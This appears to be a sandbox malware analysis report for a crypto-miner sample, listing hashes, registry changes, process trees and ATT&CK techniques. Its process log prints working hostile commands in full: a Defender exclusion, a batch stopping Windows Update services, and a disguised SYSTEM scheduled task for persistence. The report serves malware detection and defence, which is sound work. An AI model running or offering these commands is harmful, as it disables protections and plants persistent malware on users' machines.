735b54259f82fed90763efd31cfb59d25da39ccf0e34c31c6025575109605b9a

Analysis

max time kernel
1578s
max time network
1799s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
03/07/2023, 21:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Silent Crypto Miner Builder.exe
Size

56.8MB
MD5

dcb5e65801d361ef8fb5efb9b79f0534
SHA1

0195c586e891616affde2e51d994fcee8df9bbba
SHA256

735b54259f82fed90763efd31cfb59d25da39ccf0e34c31c6025575109605b9a
SHA512

9233b64ee9a6df806b2f6ad48505eb387ec7c765695bb91adadfc2b3b6173601db80dfeafe7b841e35d67c27bf2588e915d788f25a4e07d8f98c494fede7bb31
SSDEEP

393216:z8u1qXD+Ao41+ARiG+V9s/qCbliCtKQyyh9fB5jGbA1MZlNHgX43PEtSRjf/MfRS:z2+ktih9syYlVtKFK+51E43Mkjf/IR

Score

10^/10

evasion persistence

Malware Config

Signatures

Modifies security service 2 TTPs 3 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection = 22020100	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2992 created 1268	2992	Silent Crypto Miner Builder.exe	9
PID 2992 created 1268	2992	Silent Crypto Miner Builder.exe	9
PID 2992 created 1268	2992	Silent Crypto Miner Builder.exe	9
PID 2992 created 1268	2992	Silent Crypto Miner Builder.exe	9
PID 2992 created 1268	2992	Silent Crypto Miner Builder.exe	9

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinRing0_1_2_0\ImagePath = "\\??\\C:\\Program Files\\Google\\Libs\\WR64.sys"	services.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 1 IoCs

pid	Process
2324	updater.exe

Loads dropped DLL 3 IoCs

pid	Process
2112	taskeng.exe
3020	taskmgr.exe
3020	taskmgr.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx	svchost.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\GoogleUpdateTaskMachineQC	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2992 set thread context of 2276	2992	Silent Crypto Miner Builder.exe	38

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Silent Crypto Miner Builder.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\appcompat\programs\RecentFileCache.bcf	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SoftwareProtectionPlatform\Cache\cache.dat	sppsvc.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
928	sc.exe
2128	sc.exe
2156	sc.exe
1016	sc.exe
2652	sc.exe
596	sc.exe
1720	sc.exe
1548	sc.exe
2796	sc.exe
2360	sc.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
680	schtasks.exe
2772	schtasks.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 0057393af7add901	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
2992	Silent Crypto Miner Builder.exe
2992	Silent Crypto Miner Builder.exe
3020	taskmgr.exe
3020	taskmgr.exe
2944	powershell.exe
2992	Silent Crypto Miner Builder.exe
2992	Silent Crypto Miner Builder.exe
2992	Silent Crypto Miner Builder.exe
2992	Silent Crypto Miner Builder.exe
2992	Silent Crypto Miner Builder.exe
2992	Silent Crypto Miner Builder.exe
2276	dialer.exe
2276	dialer.exe
2276	dialer.exe
2276	dialer.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
1592	powershell.exe
3020	taskmgr.exe
3020	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3020	taskmgr.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
460	services.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	taskmgr.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	2276	dialer.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeAuditPrivilege	848	svchost.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeAuditPrivilege	848	svchost.exe
Token: SeDebugPrivilege	2492	dialer.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeLockMemoryPrivilege	2680	dialer.exe
Token: SeLoadDriverPrivilege	460	services.exe
Token: SeShutdownPrivilege	1268	Explorer.EXE
Token: SeBackupPrivilege	460	services.exe
Token: SeRestorePrivilege	460	services.exe
Token: SeSecurityPrivilege	460	services.exe
Token: SeTakeOwnershipPrivilege	460	services.exe
Token: SeAssignPrimaryTokenPrivilege	848	svchost.exe
Token: SeIncreaseQuotaPrivilege	848	svchost.exe
Token: SeSecurityPrivilege	848	svchost.exe
Token: SeTakeOwnershipPrivilege	848	svchost.exe
Token: SeLoadDriverPrivilege	848	svchost.exe
Token: SeSystemtimePrivilege	848	svchost.exe
Token: SeBackupPrivilege	848	svchost.exe
Token: SeRestorePrivilege	848	svchost.exe
Token: SeShutdownPrivilege	848	svchost.exe
Token: SeSystemEnvironmentPrivilege	848	svchost.exe
Token: SeUndockPrivilege	848	svchost.exe
Token: SeManageVolumePrivilege	848	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	848	svchost.exe
Token: SeIncreaseQuotaPrivilege	848	svchost.exe
Token: SeSecurityPrivilege	848	svchost.exe
Token: SeTakeOwnershipPrivilege	848	svchost.exe
Token: SeLoadDriverPrivilege	848	svchost.exe
Token: SeSystemtimePrivilege	848	svchost.exe
Token: SeBackupPrivilege	848	svchost.exe
Token: SeRestorePrivilege	848	svchost.exe
Token: SeShutdownPrivilege	848	svchost.exe
Token: SeSystemEnvironmentPrivilege	848	svchost.exe
Token: SeUndockPrivilege	848	svchost.exe
Token: SeManageVolumePrivilege	848	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	848	svchost.exe
Token: SeIncreaseQuotaPrivilege	848	svchost.exe
Token: SeSecurityPrivilege	848	svchost.exe
Token: SeTakeOwnershipPrivilege	848	svchost.exe
Token: SeLoadDriverPrivilege	848	svchost.exe
Token: SeSystemtimePrivilege	848	svchost.exe
Token: SeBackupPrivilege	848	svchost.exe
Token: SeRestorePrivilege	848	svchost.exe
Token: SeShutdownPrivilege	848	svchost.exe
Token: SeSystemEnvironmentPrivilege	848	svchost.exe
Token: SeUndockPrivilege	848	svchost.exe
Token: SeManageVolumePrivilege	848	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	848	svchost.exe
Token: SeIncreaseQuotaPrivilege	848	svchost.exe
Token: SeSecurityPrivilege	848	svchost.exe
Token: SeTakeOwnershipPrivilege	848	svchost.exe
Token: SeLoadDriverPrivilege	848	svchost.exe
Token: SeSystemtimePrivilege	848	svchost.exe
Token: SeBackupPrivilege	848	svchost.exe
Token: SeRestorePrivilege	848	svchost.exe
Token: SeShutdownPrivilege	848	svchost.exe
Token: SeSystemEnvironmentPrivilege	848	svchost.exe
Token: SeUndockPrivilege	848	svchost.exe
Token: SeManageVolumePrivilege	848	svchost.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe
3020	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1528 wrote to memory of 596	1528	cmd.exe	33
PID 1528 wrote to memory of 596	1528	cmd.exe	33
PID 1528 wrote to memory of 596	1528	cmd.exe	33
PID 1528 wrote to memory of 1720	1528	cmd.exe	34
PID 1528 wrote to memory of 1720	1528	cmd.exe	34
PID 1528 wrote to memory of 1720	1528	cmd.exe	34
PID 1528 wrote to memory of 928	1528	cmd.exe	35
PID 1528 wrote to memory of 928	1528	cmd.exe	35
PID 1528 wrote to memory of 928	1528	cmd.exe	35
PID 1528 wrote to memory of 2128	1528	cmd.exe	36
PID 1528 wrote to memory of 2128	1528	cmd.exe	36
PID 1528 wrote to memory of 2128	1528	cmd.exe	36
PID 1528 wrote to memory of 2156	1528	cmd.exe	37
PID 1528 wrote to memory of 2156	1528	cmd.exe	37
PID 1528 wrote to memory of 2156	1528	cmd.exe	37
PID 2992 wrote to memory of 2276	2992	Silent Crypto Miner Builder.exe	38
PID 2276 wrote to memory of 416	2276	dialer.exe	22
PID 2276 wrote to memory of 460	2276	dialer.exe	21
PID 2276 wrote to memory of 476	2276	dialer.exe	1
PID 2276 wrote to memory of 484	2276	dialer.exe	20
PID 2276 wrote to memory of 604	2276	dialer.exe	19
PID 1592 wrote to memory of 2772	1592	powershell.exe	41
PID 1592 wrote to memory of 2772	1592	powershell.exe	41
PID 1592 wrote to memory of 2772	1592	powershell.exe	41
PID 2276 wrote to memory of 684	2276	dialer.exe	18
PID 2276 wrote to memory of 772	2276	dialer.exe	17
PID 2276 wrote to memory of 820	2276	dialer.exe	16
PID 2276 wrote to memory of 848	2276	dialer.exe	2
PID 2276 wrote to memory of 976	2276	dialer.exe	15
PID 2276 wrote to memory of 276	2276	dialer.exe	14
PID 2276 wrote to memory of 300	2276	dialer.exe	13
PID 2276 wrote to memory of 1052	2276	dialer.exe	12
PID 2276 wrote to memory of 1128	2276	dialer.exe	11
PID 2276 wrote to memory of 1240	2276	dialer.exe	10
PID 2276 wrote to memory of 1268	2276	dialer.exe	9
PID 2276 wrote to memory of 1100	2276	dialer.exe	8
PID 2276 wrote to memory of 1652	2276	dialer.exe	7
PID 2276 wrote to memory of 2040	2276	dialer.exe	6
PID 2276 wrote to memory of 1900	2276	dialer.exe	5
PID 2276 wrote to memory of 2992	2276	dialer.exe	27
PID 2276 wrote to memory of 3020	2276	dialer.exe	28
PID 2276 wrote to memory of 2976	2276	dialer.exe	43
PID 2276 wrote to memory of 1160	2276	dialer.exe	42
PID 848 wrote to memory of 2112	848	svchost.exe	44
PID 848 wrote to memory of 2112	848	svchost.exe	44
PID 848 wrote to memory of 2112	848	svchost.exe	44
PID 2276 wrote to memory of 2112	2276	dialer.exe	44
PID 2276 wrote to memory of 2112	2276	dialer.exe	44
PID 2112 wrote to memory of 2324	2112	taskeng.exe	45
PID 2112 wrote to memory of 2324	2112	taskeng.exe	45
PID 2112 wrote to memory of 2324	2112	taskeng.exe	45
PID 2276 wrote to memory of 2324	2276	dialer.exe	45
PID 2276 wrote to memory of 2324	2276	dialer.exe	45
PID 2276 wrote to memory of 1888	2276	dialer.exe	47
PID 2276 wrote to memory of 324	2276	dialer.exe	46
PID 1940 wrote to memory of 1016	1940	cmd.exe	50
PID 1940 wrote to memory of 1016	1940	cmd.exe	50
PID 1940 wrote to memory of 1016	1940	cmd.exe	50
PID 1940 wrote to memory of 2652	1940	cmd.exe	52
PID 1940 wrote to memory of 2652	1940	cmd.exe	52
PID 1940 wrote to memory of 2652	1940	cmd.exe	52
PID 1940 wrote to memory of 2796	1940	cmd.exe	51
PID 1940 wrote to memory of 2796	1940	cmd.exe	51
PID 1940 wrote to memory of 2796	1940	cmd.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:848
- \\?\C:\Windows\system32\wbem\WMIADAP.EXE
  wmiadap.exe /F /T /R
  2⤵
  PID:2040
- C:\Windows\system32\taskeng.exe
  taskeng.exe {7B4B555D-DD22-48F5-A987-30B03A04813D} S-1-5-18:NT AUTHORITY\System:Service:
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    PID:2324

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1900

C:\Windows\system32\sppsvc.exe
C:\Windows\system32\sppsvc.exe
1⤵
- Drops file in Windows directory
PID:1652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
1⤵
PID:1100

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1268
- C:\Users\Admin\AppData\Local\Temp\Silent Crypto Miner Builder.exe
  "C:\Users\Admin\AppData\Local\Temp\Silent Crypto Miner Builder.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2992
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:596
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1720
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:928
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2128
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2156
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ldnxz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2772
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1888
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1016
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2796
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2652
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2360
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1548
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ldnxz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:680
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2680

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1240

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
1⤵
PID:1052

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService
1⤵
PID:276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
1⤵
PID:976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
1⤵
PID:820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
- Modifies security service
- Drops file in System32 directory
PID:772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
1⤵
PID:604
- C:\Windows\system32\wbem\wmiprvse.exe
  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
  2⤵
  - Checks processor information in registry
  PID:2444

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:484

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
- Sets service image path in registry
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:460

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:416

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1460048238-6650084931064265131305888957-1700344343-760468092-57856243-24286376"
1⤵
PID:1160

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "32714907518526942-935523846-157336660-8819946691087851151745008269-1189970710"
1⤵
PID:324

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1847057276185532973421072596661686683374446422766-102134271-37592499-1877914582"
1⤵
PID:2636

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
56.8MB

MD5
dcb5e65801d361ef8fb5efb9b79f0534

SHA1
0195c586e891616affde2e51d994fcee8df9bbba

SHA256
735b54259f82fed90763efd31cfb59d25da39ccf0e34c31c6025575109605b9a

SHA512
9233b64ee9a6df806b2f6ad48505eb387ec7c765695bb91adadfc2b3b6173601db80dfeafe7b841e35d67c27bf2588e915d788f25a4e07d8f98c494fede7bb31

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
56.8MB

MD5
dcb5e65801d361ef8fb5efb9b79f0534

SHA1
0195c586e891616affde2e51d994fcee8df9bbba

SHA256
735b54259f82fed90763efd31cfb59d25da39ccf0e34c31c6025575109605b9a

SHA512
9233b64ee9a6df806b2f6ad48505eb387ec7c765695bb91adadfc2b3b6173601db80dfeafe7b841e35d67c27bf2588e915d788f25a4e07d8f98c494fede7bb31

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3YUEK8GNR4KN6UPS3OZY.temp

Filesize
7KB

MD5
2be94f32666040a584e2c80eed8ba38f

SHA1
7a0e3fb28f96e9b80639eaa275bc3113bb395904

SHA256
80e32a3c919ba394885a0870bf0dff92a6cb100def93fc6dd6e3465ac2031639

SHA512
82521e0b4f2e583cc24b56a3a0a4a602d3ea0d8940067b6a03c5c10a307bb8cbed2662a0cafb333628d4c68b8f8a73d43ea58af33a264039e6fd25cb3fb1e1a0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2be94f32666040a584e2c80eed8ba38f

SHA1
7a0e3fb28f96e9b80639eaa275bc3113bb395904

SHA256
80e32a3c919ba394885a0870bf0dff92a6cb100def93fc6dd6e3465ac2031639

SHA512
